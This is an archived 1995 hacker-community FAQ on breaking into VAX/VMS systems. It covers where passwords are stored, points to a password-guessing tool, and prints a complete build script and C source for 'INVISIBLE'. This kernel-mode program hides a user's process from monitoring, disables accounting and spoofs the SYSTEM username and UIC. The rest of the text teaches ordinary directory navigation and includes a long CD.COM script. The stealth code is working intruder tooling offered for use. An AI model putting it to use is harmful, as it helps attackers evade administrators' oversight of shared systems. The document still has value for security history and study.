home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersguides-&-software / vms_hack.zip / vms_hack.faq
Text File  |  1996-05-01  |  64KB  |  1,758 lines

  1. Taken from MIND LINK! on Thu Jan 26 01:54:52 1995
  2.  
  3. Mon Jan 23 05:31:25 1995
  4. Message : #21160119    From: Beaver [SAOO]
  5. Address : beaver@upperdck.blkbox.com
  6. Length  : 9098 words 64202 bytes
  7. Subject : VMS Hacking FAQ .01 Beta
  8. Read 3 times
  9.  
  10. Msg-ID: <3g0ahe$ddh@mailer.fsu.edu>
  11. Posted: 23 Jan 1995 13:21:50 GMT
  12.  
  13. Org.  : SAOO Upper-Deck Networked Systems
  14.  
  15.  
  16.   [This is a very premature release,  but I wanted to go ahead and get it out]
  17.  
  18.  
  19.  
  20.  
  21.  
  22.                   - VMS FAQ (Frequently Ask Questions) -
  23.  
  24.                           - Beta 0.01 Release -
  25.  
  26.  
  27. Introduction:
  28.  
  29.         This article contain the answers to some frequently asked question
  30.         (Hence,  the name FAQ) about hacking the VMS operating system.
  31.  
  32.         The article may be freely redistributed in its entirety provide
  33.         that credits are not altered or removed.   It may not be
  34.         sold for profit or incorporated in commercial documents without
  35.         the written permission of the author(s).
  36.  
  37.         This is the beta release of this article,   which means,
  38.         the article is still in the working,  and is not complete.
  39.  
  40.         Submissions,  corrections,  comments,  input,  complaints,
  41.         bomb threats,   cash,  etc.,  should be directed toward
  42.         The Beaver (beaver@upperdck.blkbox.com).
  43.  
  44.  
  45. Index ---:
  46.  
  47. More Common Newbie Questions:
  48.  
  49. 1.  VMS Basic information ("What does VMS run on?")
  50. 2.  Password storage information (SYSUAF.DAT) ("Where the hell is the
  51.     /etc/passwd file??!?!?!")
  52. 3.  Cracking the SYSUAF.DAT ("Is there a version of 'Crack' for VMS
  53.     machines?")
  54. 4.  Becoming invisible in VMS ("Is there a 'Cloak' routine in VMS?")
  55. 5.  SET DEFAULT command ("How the do I change damn directory's?")
  56. 6.  The infamous "CD" .COM file ("I hate this SET DEFAULT crap")
  57. 7.  LOGIN.COM ("Okay,  where's my .profile???").
  58. 8.  Captive Accounts ("I can't get to DCL").
  59.  
  60. VMS Mail Hack Routines:
  61.  
  62. 1.  Fake Mail ("How do I send fake mail to VMS machines?")
  63. 2.  Unix/VMS Sendmail holes ("Will my sendmail holes work on VMS?")
  64. 3.  Mail Bomb ("I need to mailbomb a user from my VMS account,  how?)
  65.  
  66. User/Image Privilege Information:
  67.  
  68. 1.  Systems Privileges, Listing and explanation ("How are Priv's setup?")
  69. 2.  Creating privileged imagines ("Can I create a SUID Shell on a VMS box?")
  70.  
  71. DECNetwork Information.
  72.  
  73. 1.  Brief Description of a DECNet ("What's a DECNet?")
  74. 2.  What it means to you ("What can it do for me?")
  75. 3.  Obtaining files/system info/etc ("How do I get information for the
  76. remote?")
  77. 4.  Using remote nodes ("How do I connect interactively?")
  78. 5.  Getting node lists ("How do I find connectable nodes?")
  79. 6.  Proxy Logins ("Can't DECNet nodes be protected?")
  80. 7.  Proxy Logs ("Are Proxy logins logged? Can I use it to break into nodes?")
  81.  
  82. TCP/IP Connected VMS Machines.
  83.  
  84. 1.  Obtaining remote usernames without "FINGER" ("How do I get usernames
  85.     if FINGER is disabled")
  86. 2.  Changing the image running in FINGER ("How do I link a command name to
  87.     another so it appears I am running a different image?")
  88.  
  89.  
  90.                 -      More Common Newbie Questions      -
  91.  
  92.  
  93. 1.      "What does VMS run on?"
  94.  
  95.         VMS (Virtual Memory System) runs on Digital Equipment Corp.
  96.         (DEC - pronounced,  "DECK") VAX (Virtual Address eXtension)
  97.         and the newer Alpha's.   The user uses DCL (DEC Command
  98.         Language) to interact with the computer.  These commands
  99.         and there syntax are completely different then those of
  100.         Unix and Unix-like operating systems,  thus a completely
  101.         different mindset is often required (this is the authors
  102.         opinion).
  103.  
  104. 2.      "Why A 'VMS-Hacking FAQ'?"
  105.  
  106.         Several reasons.    Once and a while,   A escape from Unix is
  107.         very,  very nice.   Another reason is that is art of
  108.         VMS hacking has since vanished,  and its replacement are
  109.         statements like,  "Hacking VMS is impossible", "VMS is
  110.         to cryptic to use",  and as always,  "Man,  VMS sucks".
  111.  
  112.         These are generally statements by people who know almost
  113.         zero about VMS.   I don't want to go into a "which OS is
  114.         better",  because that would defeat the purpose of this
  115.         file",  but in my personal opinion,   both OS's have
  116.         there advantages/disadvantages.
  117.  
  118.         I have,  however,  written this FAQ with a Unix overtone
  119.         to it,  to help the reader understand what is trying to
  120.         be accomplished in some examples.
  121.  
  122. 3.      "Where in the hell is the passwd file???!?!?!"
  123.  
  124.         There is no /etc/passwd file.  All user information is kept in
  125.         a file called SYSUAF.DAT,  which is stored in the directory
  126.         (or actual the logical) SYS$COMMON.   This file is usually
  127.         not readable by "normal" users.
  128.  
  129. 4.      "Is there a version of "Crack" that I can run on a VMS machine?"
  130.  
  131.         The unix program, "Crack" will not work,  but there are password
  132.         guessing routines available.
  133.  
  134.         The best on I have seen is "GUESS_PASSWORD.EXE",  which can be
  135.         obtained from the following sites.
  136.  
  137.         ftp.wku.edu:/vms/fileserv/uaf.zip
  138.         ftp.spc.edu:/macro32/savesets/uaf.zip
  139.  
  140.         In order for the routine to work,  you need access to the
  141.         SYSUAF.DAT.  This version works on both OpenVMS VAX and
  142.         OpenVMS AXP
  143.  
  144. 5.      "Can I 'Cloak' in routine in VMS?"
  145.  
  146.         Yes.  Below is the code needed to make your process invisible
  147.         to "FINGER",  "SHOW USERS",  etc...
  148.  
  149.         First,  create the following file:
  150.  
  151. Name: BUILD_INVISIBLE.COM
  152. ---------------------------------[Cut Here]-----------------------------------
  153. $ save_verify = 'f$verify(0)'
  154. $ system = "vax"        !Set to "alpha" for Alpha
  155. $!
  156. $!  File to build Ehud Gavron's INVISIBLE
  157. $!
  158. $!  Author:     Hunter Goatley
  159. $!
  160. $ say := write sys$output
  161. $ on error then goto common_exit
  162. $ on contrl_y then goto common_exit
  163. $ say "Extracting $JIBDEF and $PCBDEF from LIB.MLB...."
  164. $ library/macro/extr=$JIBDEF/out=jibdef.mar sys$library:lib.mlb
  165. $ library/macro/extr=$PCBDEF/out=pcbdef.mar sys$library:lib.mlb
  166. $ say "Converting $*DEF macros to C .H files...."
  167. $ call convert_to_h jibdef.mar
  168. $ call convert_to_h pcbdef.mar
  169. $ say "Compiling INVISIBLE...."
  170. $ cc invisible
  171. $ say "Linking INVISIBLE...."
  172. $ link/notrace invisible,invisible.opt_'system'/opt
  173. $ say "INVISIBLE build completed"
  174. $ common_exit:
  175. $       exit f$verify(save_verify).or.1
  176. $ convert_to_h: subroutine
  177. $ name = f$parse(p1,"","","NAME")
  178. $ open/read tmp 'p1'
  179. $ create 'name'.H
  180. $ open/append tmph 'name'.H
  181. $ cvt_loop:
  182. $    read/error=cvt_fin tmp line
  183. $    if f$extract(0,4,line).nes."$EQU" then goto cvt_loop
  184. $    write tmph "#define ",f$extract(4,255,line)
  185. $    goto cvt_loop
  186. $ cvt_fin:
  187. $    close tmp
  188. $    close tmph
  189. $ write sys$output "C header file ''name'.H created"
  190. $ exit
  191. $ endsubroutine
  192. -------------------------------[End Of File]-----------------------------------
  193.  
  194.         Next is the C Code for the "INVISIBLE" routine....
  195.  
  196.  
  197. Name:  INVISIBLE.C
  198. ---------------------------------[Cut Here]------------------------------------
  199. /*
  200.  * Invisible    - Make a process invisible and visible again.  Originally
  201.  *                written in MACRO32.  Now in C so it runs on Alpha too.
  202.  *
  203.  *
  204.  *      Option file invisible.opt:
  205.  *              ALPHA:  sys$loadable_images:sys$base_image.exe/share
  206.  *
  207.  *              VAX:    sys$system:sys.stb/selective_search
  208.  *
  209.  *
  210.  *      Build:
  211.  *              $ cc invisible
  212.  *              $ link invisible,invisible/opt
  213.  *
  214.  *      Usage:
  215.  *              $ run invisible
  216.  *
  217.  *
  218.  *  Ehud Gavron
  219.  *  ACES Consulting Inc.
  220.  *  Gavron@ACES.COM
  221.  *
  222.  *      14-Oct-1992     Ehud Gavron     Ported to C, Alpha, ANSI, and
  223.  *                                      everything else.
  224.  *
  225.  */
  226.  
  227. #define module_name INVISIBLE
  228. #define module_version "V1.0.0"
  229.  
  230. #ifdef __alpha
  231. #pragma module module_name module_version
  232. #else /* __vax */
  233. #module module_name module_version
  234. #endif /* __alpha */
  235.  
  236. #ifndef __alpha
  237. #define sys$gl_ijobcnt sys$gw_ijobcnt
  238. #endif
  239.  
  240. #include <descrip.h>
  241. #include "jibdef.h"     /* Extracted from LIB.MLB and massaged into C form */
  242. #include "pcbdef.h"     /* Extracted from LIB.MLB and massaged into C form */
  243. #include <ssdef.h>
  244. #include <jpidef.h>
  245. #include <psldef.h>
  246. #include <lnmdef.h>
  247. typedef union {
  248.         struct {
  249.                 short s_buflen;
  250.                 short s_itemcode;
  251.                 char *s_bufaddr;
  252.                 int *s_retlen;
  253.                 } s;
  254.         unsigned long end;
  255.         } ITEMLIST;
  256.  
  257. #define buflen          s.s_buflen
  258. #define itemcode        s.s_itemcode
  259. #define bufaddr         s.s_bufaddr
  260. #define retlen          s.s_retlen
  261.  
  262. struct ISB {
  263.         int     l_uic;
  264.         int     l_namelen;
  265. #ifdef __alpha
  266.         int     l_jobtype;
  267. #else
  268.         char    b_jobtype;
  269. #endif
  270.         char    b_terminal;
  271.         char    t_lname[PCB$S_LNAME + 1];
  272.         char    t_username[JIB$S_USERNAME + 1];
  273.         };
  274.  
  275. struct ISB isb;
  276. static int lnm_retlen;
  277.  
  278. ITEMLIST lnm_itmlst[2];
  279. ITEMLIST jpi_itmlst[2];
  280. struct dsc$descriptor_s prcnam_desc;
  281. struct dsc$descriptor_s prcnam;
  282. $DESCRIPTOR(lnm_tabnam,"LNM$PROCESS_TABLE");
  283. $DESCRIPTOR(lnm_lognam,"ISB");
  284. $DESCRIPTOR(fao_prcnam,"SYMBIONT_!UL");
  285. int sysuic = 0x00010004;
  286. char sysusername[] = "SYSTEM        ";
  287. char namebuf[PCB$S_LNAME];
  288.  
  289. #ifdef __alpha
  290. main()
  291. #else
  292. cmain()
  293. #endif
  294. {
  295.         int sys$cmkrnl(),sys$exit(),invisible_k();
  296.         int ss_stat;
  297.  
  298.         lnm_itmlst[0].buflen = sizeof(isb);
  299.         lnm_itmlst[0].itemcode = LNM$_STRING;
  300.         lnm_itmlst[0].bufaddr = (char *)&isb;
  301.         lnm_itmlst[0].retlen = &lnm_retlen;
  302.         lnm_itmlst[1].end = 0;
  303.  
  304.         jpi_itmlst[0].buflen = PCB$S_LNAME;
  305.         jpi_itmlst[0].itemcode = JPI$_PRCNAM;
  306.         jpi_itmlst[0].bufaddr = (char *)&isb.t_lname;
  307.         jpi_itmlst[0].retlen = (int *)&isb.l_namelen;
  308.         jpi_itmlst[1].end = 0;
  309.  
  310.         prcnam_desc.dsc$a_pointer = (char *)&isb.t_lname;
  311.         prcnam_desc.dsc$w_length = PCB$S_LNAME;
  312.         prcnam_desc.dsc$b_dtype = DSC$K_DTYPE_T;
  313.         prcnam_desc.dsc$b_class = DSC$K_CLASS_S;
  314.  
  315.         prcnam.dsc$a_pointer = (char *)&namebuf;
  316.         prcnam.dsc$w_length = PCB$S_LNAME;
  317.         prcnam.dsc$b_dtype = DSC$K_DTYPE_T;
  318.         prcnam.dsc$b_class = DSC$K_CLASS_S;
  319.  
  320.         ss_stat = sys$cmkrnl(invisible_k,0);
  321.         (void) sys$exit(ss_stat);
  322. }
  323.  
  324. int invisible_k()
  325. {
  326.         int sys$getjpiw(),sys$crelnm(),sys$fao(),sys$setprn();
  327.         int strncpy(),sys$exit(),sys$trnlnm(),sys$dellnm();
  328.         int *a_long;
  329.         int acmode = PSL$C_KERNEL;
  330.  
  331. #pragma nostandard                      /* Oh well */
  332.         globalref ctl$gl_pcb;
  333.         globalref sys$gl_ijobcnt;
  334. #pragma standard
  335.  
  336.         int ss_stat;
  337.         char *pcb;
  338.         char *jib;
  339.         long *sts;
  340.         long *own;
  341.         char *p;
  342.         long *q;
  343.         int loop = 0;
  344.  
  345.         pcb = (char *)ctl$gl_pcb;
  346.  
  347.         if (pcb == 0) {
  348.            return(0);
  349.            }
  350.         q = (long *)((char *)pcb + PCB$L_JIB);
  351.         jib =(char *)  *q;
  352.  
  353.         sts = (long *)((char *)pcb + PCB$L_STS);
  354.  
  355.         if (*sts & PCB$M_INTER) {       /* Do stealth mode */
  356.            *sts = *sts^PCB$M_INTER;
  357.            *sts = *sts|PCB$M_NOACNT;
  358.  
  359.            own = (long *)((char *)pcb + PCB$L_OWNER);
  360.            if (*own == 0) {  /* We are not a subprocess  */
  361.               sys$gl_ijobcnt--;
  362.               }
  363.  
  364.            p = (char *)pcb + PCB$T_TERMINAL;
  365.            isb.b_terminal = *p;
  366.            *p = '\0';
  367.  
  368.  
  369. #ifdef __alpha
  370.            q = (long *)((char *)jib + JIB$L_JOBTYPE);
  371.            isb.l_jobtype = *q;
  372.            *q = 0;
  373. #else
  374.            p = (char *)jib + JIB$B_JOBTYPE;
  375.            isb.b_jobtype = *p;
  376.            *p = '\0';
  377. #endif
  378.            strncpy((char *)&isb.t_username,
  379.                    (char *)(jib + JIB$T_USERNAME),
  380.                    JIB$S_USERNAME);
  381.  
  382.            strncpy((char *)(jib + JIB$T_USERNAME),
  383.                    (char *)&sysusername,
  384.                    JIB$S_USERNAME);
  385.  
  386.            q = (long *)((char *)pcb + PCB$L_UIC);
  387.            isb.l_uic = *q;
  388.            *q = sysuic;
  389.  
  390.            ss_stat = sys$getjpiw(0,0,0,&jpi_itmlst,0,0,0);
  391.            if (!(ss_stat & 1)) return(ss_stat);
  392.            ss_stat = sys$crelnm(0,
  393.                                 &lnm_tabnam,
  394.                                 &lnm_lognam,
  395.                                 &acmode,
  396.                                 &lnm_itmlst);
  397.            if (!(ss_stat & 1)) return(ss_stat);
  398.            do {
  399.               loop++;
  400.               prcnam.dsc$w_length = PCB$S_LNAME;
  401.               ss_stat = sys$fao((char *)&fao_prcnam,
  402.                                 (char *)&prcnam.dsc$w_length,
  403.                                 (char *)&prcnam,
  404.                                 loop);
  405.               if (!(ss_stat &1)) return(ss_stat);
  406.               ss_stat = sys$setprn((char*)&prcnam);
  407.               } while (ss_stat == SS$_DUPLNAM);
  408.            return(SS$_NORMAL);
  409.            }
  410.         else {  /* unstealth */
  411.            ss_stat = sys$trnlnm(0,
  412.                                 &lnm_tabnam,
  413.                                 &lnm_lognam,
  414.                                 &acmode,
  415.                                 &lnm_itmlst);
  416.            if (!(ss_stat & 1)) return(ss_stat);
  417.  
  418.            ss_stat = sys$dellnm(&lnm_tabnam,
  419.                                 &lnm_lognam,
  420.                                 &acmode);
  421.            if (!(ss_stat & 1)) return(ss_stat);
  422.  
  423.            *sts = *sts|PCB$M_INTER;
  424.            *sts = *sts^PCB$M_NOACNT;
  425.  
  426.            own = (long *)((char *)pcb + PCB$L_OWNER);
  427.            if (*own == 0) {  /* We are not a subprocess  */
  428.               sys$gl_ijobcnt++;
  429.               }
  430.  
  431.            q = (long *)((char *)pcb + PCB$L_UIC);
  432.            *q = isb.l_uic;
  433.  
  434.            p = (char *)pcb + PCB$T_TERMINAL;
  435.            *p = isb.b_terminal;
  436.  
  437. #ifdef __alpha
  438.            q = (long *)((char *)jib + JIB$L_JOBTYPE);
  439.            *q = isb.l_jobtype;
  440. #else
  441.            p = (char *)jib + JIB$B_JOBTYPE;
  442.            *p = isb.b_jobtype;
  443. #endif
  444.            strncpy((char *)(jib + JIB$T_USERNAME),
  445.                    (char *)&isb.t_username,
  446.                    JIB$S_USERNAME);
  447.  
  448.            prcnam_desc.dsc$w_length = (short)isb.l_namelen;
  449.            ss_stat = sys$setprn(&prcnam_desc);
  450.            return;
  451.         }
  452. }
  453.  
  454. #ifndef __alpha
  455. int strncpy(a,b,c)
  456. char *a,*b;
  457. int c;
  458. {
  459.         for (; c > 0; c--) {
  460.           *a++ = *b++;
  461.           }
  462. }
  463. #endif
  464. --------------------------------[End Of File]----------------------------------
  465.  
  466.         After these files are created,   type in the following at your
  467.         DCL prompt:
  468.  
  469. $ @build_invisible      ! This will build our INVISIBLE.EXE routine.
  470. $ run invisible         ! One the build is complete.
  471.  
  472.         You should be completely "cloaked".
  473.  
  474.         To obtain full source, readme files,  etc,  you can obtain this
  475.         program from:
  476.  
  477.         ftp.wku.edu:/vms/fileserv/invisible.zip
  478.         ftp.spc.edu:/macro32/savesets/invisible.zip
  479.  
  480. 4.      "How do I change damn directory's?".
  481.  
  482.         This is done via the "SET DEFAULT" command.  In the following
  483.         format:
  484.  
  485. $ SET DEFAULT device:[directory]
  486.  
  487.  
  488.         VMS uses a standard hierarchy system,  in which devices and
  489.         directory's are separated.  For example,  our home device/directory
  490.         might be:
  491.  
  492.         DISK3:[USR.JOEHACKER]
  493.  
  494.         DISK3:  would represent the device that we are on/using
  495.         while,  [USR.JOEHACKER] would signify the actual directory
  496.         on that device that we are using.  So,  to change directory's,
  497.         we could type:
  498.  
  499. $ SET DEFAULT [USR.BOB]
  500.  
  501.         If [USR.BOB] is a existing directory,  this would now be our
  502.         current path (and we would still be located on the DISK3:
  503.         device.  If we wanted to simply back out one level (to the
  504.         [USR]) on that device,  we would issue the following command:
  505.  
  506. $ SET DEFAULT [-]
  507.  
  508.         The "[-]" signifies one directory back.  So if our path is,
  509.         [USR.BOB.HACKING.VMS.PROGRAMS],  and we want to get to the
  510.         [USR.BOB] directory,  instead of typing the entire path
  511.         again,  we could simply type:
  512.  
  513. $ SET DEFAULT [---]
  514.  
  515.         "[---]" means,  back out three levels of the hierarchy.
  516.  
  517.         There can be several devices on one VMS system (Device names
  518.         can be obtained via a "SHOW DEVICES").  While your
  519.         home directory might be on DISK3,   another users could
  520.         be on device DISK2.   To switch devices, we can add in
  521.         the device name,  followed by the directory (if needed).
  522.         So,  if you need to get to a users who stores information
  523.         in the DISK2:[REALLY.SECRET.STUFF] directory,  you could
  524.         type the following DCL command:
  525.  
  526. $ SET DEFAULT DISK2:[REALLY.SECRET.STUFF]
  527.  
  528.         Or if we are currently in the "DISK3:[REALLY]" and we want
  529.         to get to the information in the "DISK2:[REALLY]" directory,
  530.         we could simply type
  531.  
  532. $ SET DEFAULT DISK2:
  533.  
  534.         And the rest would be carried over.
  535.  
  536.         In the event that you need to get to the top of the hierarchy
  537.         (Unix equivelant:  "cd /"),  SET DEFAULT (to any disk structured
  538.         device) to "[000000]".  For example,  to get to the very
  539.         top of the hierarchy on device DISK2,  you would type.
  540.  
  541. $ SET DEFAULT DISK2:[000000]
  542.  
  543.         VMS will also allow you to SET DEFAULT to a directory that does
  544.         not exist.  When this happens,  the operating system will
  545.         inform you of this when you try to issue a command that requires
  546.         some sort of file I/O.   If at any point you get completely
  547.         lost,  you can return to your "home" directory by typing
  548.  
  549. $ SET DEFAULT SYS$LOGIN:
  550.  
  551.  
  552. 6.      "I hate this SET DEFAULT crap.  Can I just use 'cd' command like
  553.          I do in Unix?".
  554.  
  555.         By default,  no.  There are two things that you can do.
  556.         One,  add the following line to your "LOGIN.COM" (see
  557.         where my .profile in VMS' for more information)
  558.  
  559.  
  560. $ CD :== SET DEFAULT    ! I am hate typing that long "SET DEF" command
  561.  
  562.         Or you can us the following .COM file,  which will guarrent
  563.         that you eat as many resources as you can......
  564.  
  565.               [Taken from Phrack,  Vol. 2.  Issue 19.,  File 2]
  566.                            [ Coded By The Mentor ]
  567.  
  568.                               Code for CD.COM
  569.                                >>>>>>>>>>>>>>>
  570.  
  571. $! CD.COM v6.09
  572. $! The Ultimate Change Directory Command.
  573. $!
  574. $  hdir     = f$trnlnm("SYS$LOGIN")                 ! Home Directory
  575. $  ndir     = f$edit(p1,"UPCASE")                   ! New  Directory
  576. $  odir     = f$environment("DEFAULT")              ! Old  Directory
  577. $  prompton = (f$edit(f$trnlnm("SYS$PROMPT"),"UPCASE") .eqs. "ON")
  578. $!
  579. $  if (ndir .eqs. "")           then goto DISPLAY   ! No Dir
  580. $  if (ndir .eqs. "*")          then goto DIRSEARCH ! Search for Dirs
  581. $  if (ndir .eqs. "?")          then goto HELP      ! Instructions
  582. $!
  583. $  PARSE:
  584. $  length   = f$length(ndir)                        ! Fix up ndir
  585. $  if (f$location("@",ndir) .eq. 0) .or. -
  586.       (f$location("$",ndir) .eq. 0) then ndir = f$extract(1, length - 1, ndir)
  587. $  right    = f$location("]",ndir) + 1
  588. $  if (right .gt. length) then right = f$location(">", ndir)
  589. $  if (right .le. length) then ndir  = f$extract(0, right, ndir)
  590. $!
  591. $  if (f$trnlnm(ndir) .eqs. "") then goto CASESYM   ! Not Logical Name
  592. $     ndir   = f$trnlnm(ndir)                       ! Logical Name
  593. $     goto PARSE
  594. $!
  595. $  CASESYM:
  596. $  if ("''&ndir'" .eqs. "")     then goto CASE0     ! Not Symbol
  597. $     ndir = 'ndir'                                 ! Symbol
  598. $     goto PARSE
  599. $!
  600. $  CASE0:
  601. $  len_ndir = f$length(ndir)                        ! Regular Dir
  602. $  if (f$location("[", ndir) .lt. len_ndir) .or. -
  603.       (f$location("<", ndir) .lt. len_ndir) then goto SETDIR
  604. $!
  605. $  CASE1:                                           ! Home Dir
  606. $  if ((ndir .nes. "HOME") .and. (ndir .nes. "\")) then goto CASE2
  607. $     ndir = hdir
  608. $     goto SETDIR
  609. $!
  610. $  CASE2:                                           ! . .. .dir
  611. $  if (f$location(".", ndir) .nes. 0) then goto CASE3
  612. $     if (ndir .eqs. "..") then ndir = "-"
  613. $     if (f$extract(0, 2, ndir) .eqs. "..") -
  614.          then ndir = "-" + f$extract(1, len_ndir - 1, ndir)
  615. $     ndir = "[" + ndir + "]"
  616. $     if (ndir .eqs. "[.]") then ndir = odir
  617. $     goto SETDIR
  618. $!
  619. $  CASE3:                                           ! :
  620. $  if (f$location(":", ndir) .ge. len_ndir) then goto CASE4
  621. $     left    = f$location(":", ndir) + 1
  622. $     symbol  = f$extract(left, 1, ndir)
  623. $     if (symbol .eqs. ":")  then goto CASE3B       ! :: Node
  624. $     if ((symbol .eqs. "[") .or. (symbol .eqs. "<")) then goto SETDIR
  625. $        ndir = f$extract(0, left, ndir) + "[" -
  626.               + f$extract(left, len_ndir - left+1, ndir) + "]"
  627. $     goto SETDIR
  628. $!
  629. $  CASE3B:                                          ! NODE::nothing
  630. $  if (f$length(ndir)-1 .gt. left) then goto CASE3C
  631. $     ndir = ndir + "[000000]"
  632. $     goto SETDIR
  633. $!
  634. $  CASE3C:                                          ! NODE::directory
  635. $  if ((f$location("[", ndir) - f$location("<", ndir)) .ne. 0) -
  636.       then goto SETDIR
  637. $
  638. $     ndir = f$parse(ndir,,,"NODE") + "[" + f$parse(ndir,,,"NAME") + "]"
  639. $     goto SETDIR
  640. $!
  641. $  CASE4:                                           ! dir
  642. $  ndir = "[" + ndir + "]"
  643. $!
  644. $  SETDIR:
  645. $  set default 'ndir'
  646. $  if (f$parse("") .eqs. "") then goto DIRERROR
  647. $!
  648. $  DISPLAY:
  649. $  if ((ndir .nes. "") .and. prompton) then goto NODISPLAY
  650. $     hnode = f$getsyi("NODENAME")
  651. $     cnode = f$parse(f$trnlnm("SYS$DISK"),,,"NODE") - "::"
  652. $     if (cnode .eqs. "") then cnode = hnode
  653. $     cdir  = f$environment("DEFAULT")
  654. $     write sys$output " "
  655. $     write sys$output "          Home Node: ", hnode
  656. $     write sys$output "     Home Directory: ", hdir
  657. $     if (cdir .eqs. hdir) .and. (cnode .eqs. hnode) then goto DISPSKIP
  658. $     write sys$output "       Current Node: ", cnode
  659. $     write sys$output "  Current Directory: ", cdir
  660. $  DISPSKIP:
  661. $     write sys$output " "
  662. $!
  663. $  NODISPLAY:
  664. $  ndir = f$environment("DEFAULT")
  665. $  if .not. prompton then goto END
  666. $!
  667. $  if (f$length(ndir) .ge. 32) then goto TOOLONG
  668. $!
  669. $  SETPROMPT:
  670. $  set prompt = 'ndir'" "
  671. $!
  672. $  END:
  673. $  exit
  674. $!
  675. $  DIRERROR:
  676. $  write sys$output " "
  677. $  write sys$output "          ", ndir, " Directory does not exist!"
  678. $  write sys$output " "
  679. $  set default 'odir'
  680. $  ndir = odir
  681. $  goto NODISPLAY
  682. $!
  683. $! Prompt Problems------------------------------------------------------------
  684. $!
  685. $  TOOLONG:
  686. $! Prompt is too long. Get rid of everything to the left of [ or <. If that
  687. $! doesn't work, get rid of a subdirectory at a time.  As a last resort,
  688. $! set the prompt back to $.
  689. $!
  690. $  left     = f$location("[", ndir)
  691. $  len_ndir = f$length(ndir)
  692. $  if (left .ge. len_ndir) then left = f$location("<",ndir)
  693. $  if (left .gt. 0) .and. (left .lt. len_ndir) -
  694.       then ndir = f$extract(left, len_ndir - left, ndir)
  695. $!
  696. $  STILLTOOLONG:
  697. $    if (f$length(ndir) .lt. 32) then goto SETPROMPT
  698. $    left     = f$location(".", ndir) + 1
  699. $    len_ndir = f$length(ndir)
  700. $    if left .ge. len_ndir then ndir = "$ "
  701. $    if left .ne. len_ndir -
  702.         then ndir = "[*" + f$extract(left, len_ndir - left, ndir)
  703. $    goto STILLTOOLONG
  704. $!
  705. $! Wildcard Directory---------------------------------------------------------
  706. $!
  707. $  DIRSEARCH:
  708. $  error_message = f$environment("MESSAGE")
  709. $  on control_y then goto DIREND
  710. $  on control_c then goto DIREND
  711. $  set message/nosev/nofac/noid/notext
  712. $  write sys$output " "
  713. $  dispct = 1
  714. $  dirct  = 0
  715. $  pauseflag = 1
  716. $!
  717. $  DIRLOOP:
  718. $    userfile = f$search("*.dir")
  719. $    if (userfile .eqs. "") .and. (dirct .ne. 0) then goto DIRMENU
  720. $    if (userfile .eqs. "") then goto DIRNONE
  721. $    dispct = dispct + 1
  722. $    dirct  = dirct  + 1
  723. $    on severe then $ userprot = "No Priv"
  724. $    userprot = f$file_attributes(userfile,"PRO")
  725. $    if userprot .nes. "No Priv" then userprot = " "
  726. $    userfile'dirct' = "[." + f$parse(userfile,,,"NAME") + "]"
  727. $    userprot'dirct' = userprot
  728. $    lengthflag = (f$length(userfile'dirct') .gt. 18)
  729. $    if lengthflag then write sys$output -
  730.         f$fao("  !3SL   !34AS  ", dirct, userfile'dirct'), userprot'dirct'
  731. $    if (.not. lengthflag) then write sys$output -
  732.         f$fao("  !3SL   !20AS  ", dirct, userfile'dirct'), userprot'dirct'
  733. $    if (dispct .lt. 8) then goto DIRLOOP
  734. $    dirct  = dirct  + 1
  735. $    userfile'dirct' = ""
  736. $    dirct  = dirct  + 1
  737. $    userfile'dirct' = ""
  738. $    if pauseflag then goto DIRMENU
  739. $    dispct = 0
  740. $    goto DIRLOOP
  741. $!
  742. $  DIRMENU:
  743. $  write sys$output " "
  744. $  if (userfile .eqs. "") then goto DIRMENU2
  745. $     write sys$output "    M   More subdirectories"
  746. $  if pauseflag then -
  747. $     write sys$output "    N   More subdirectories/No pause"
  748. $!
  749. $  DIRMENU2:
  750. $     write sys$output "    R   Re-Display subdirectories"
  751. $     write sys$output "    Q   Quit (default)"
  752. $
  753. $  DIRINQUIRE:
  754. $  write sys$output " "
  755. $  inquire dirchoice "  Select One"
  756. $  write sys$output " "
  757. $!
  758. $  if (dirchoice .gt. 0)    .and. -
  759.       (dirchoice .le. dirct) then goto DIRCASEDIGIT
  760. $  dirchoice = f$edit(dirchoice,"UPCASE")
  761. $  if (dirchoice .eqs. "")  .or. -
  762.       (dirchoice .eqs. "Q")  then goto DIRCASEBLANK
  763. $  if (dirchoice .eqs. "M") .or. -
  764.       (dirchoice .eqs. "N")  then goto DIRCASEMORE
  765. $  if (dirchoice .eqs. "R")  then goto DIRCASERED
  766. $!
  767. $  DIRCASERROR:
  768. $  if (dirct .eq. 1)   then write sys$output -
  769.       "  Select 1 to change to the ", userfile1, " subdirectory. "
  770. $  revdirct = dirct
  771. $  if (dispct .eq. 8) then revdirct = revdirct - 2
  772. $  if (dirct .gt. 1)   then write sys$output -
  773.       "  Valid subdirectory selections are 1 through ", revdirct, " (Octal)."
  774. $  goto DIRINQUIRE
  775. $!
  776. $  DIRCASEDIGIT:
  777. $  if (userfile'dirchoice' .eqs. "") then goto DIRCASERROR
  778. $  ndir = userfile'dirchoice'
  779. $  goto DIREND
  780. $!
  781. $  DIRCASEBLANK:
  782. $  write sys$output "  Subdirectory not changed."
  783. $  write sys$output " "
  784. $  goto DIREND
  785. $!
  786. $  DIRCASEMORE:
  787. $  dispct = 0
  788. $  if (dirchoice .eqs. "N") then pauseflag = 0
  789. $  if (userfile .nes. "")   then goto DIRLOOP
  790. $  write sys$output "  No more subdirectories to display."
  791. $  goto DIRINQUIRE
  792. $!
  793. $  DIRCASERED:
  794. $  dispct = 1
  795. $  DISPLOOP:
  796. $     if (userfile'dispct' .eqs "") then goto DISPDONT
  797. $     lengthflag = (f$length(userfile'dispct') .gt. 18)
  798. $     if lengthflag then write sys$output -
  799.          f$fao("  !3SL   !34AS  ", dispct, userfile'dispct'), userprot'dispct'
  800. $     if (.not. lengthflag) then write sys$output -
  801.          f$fao("  !3SL   !20AS  ", dispct, userfile'dispct'), userprot'dispct'
  802. $     DISPDONT:
  803. $     dispct = dispct + 1
  804. $     if (dispct .le. dirct) then goto DISPLOOP
  805. $  goto DIRMENU
  806. $!
  807. $  DIRNONE:
  808. $  write sys$output "No subdirectories to choose, or no directory privileges."
  809. $  write sys$output " "
  810. $  goto DIREND
  811. $!
  812. $  DIREND:
  813. $  set message 'error_message'
  814. $  on control_y then exit
  815. $  on control_c then exit
  816. $  if (ndir .eqs. "*") then goto DISPLAY
  817. $  goto PARSE
  818. $!
  819. $!-Help-----------------------------------------------------------------------
  820. $!
  821. $  HELP:
  822. $  type sys$input
  823.  
  824.                CD.COM  Version 6  VMS Change Directory Command
  825.  
  826.                          Usage:  CD command/directory
  827.  
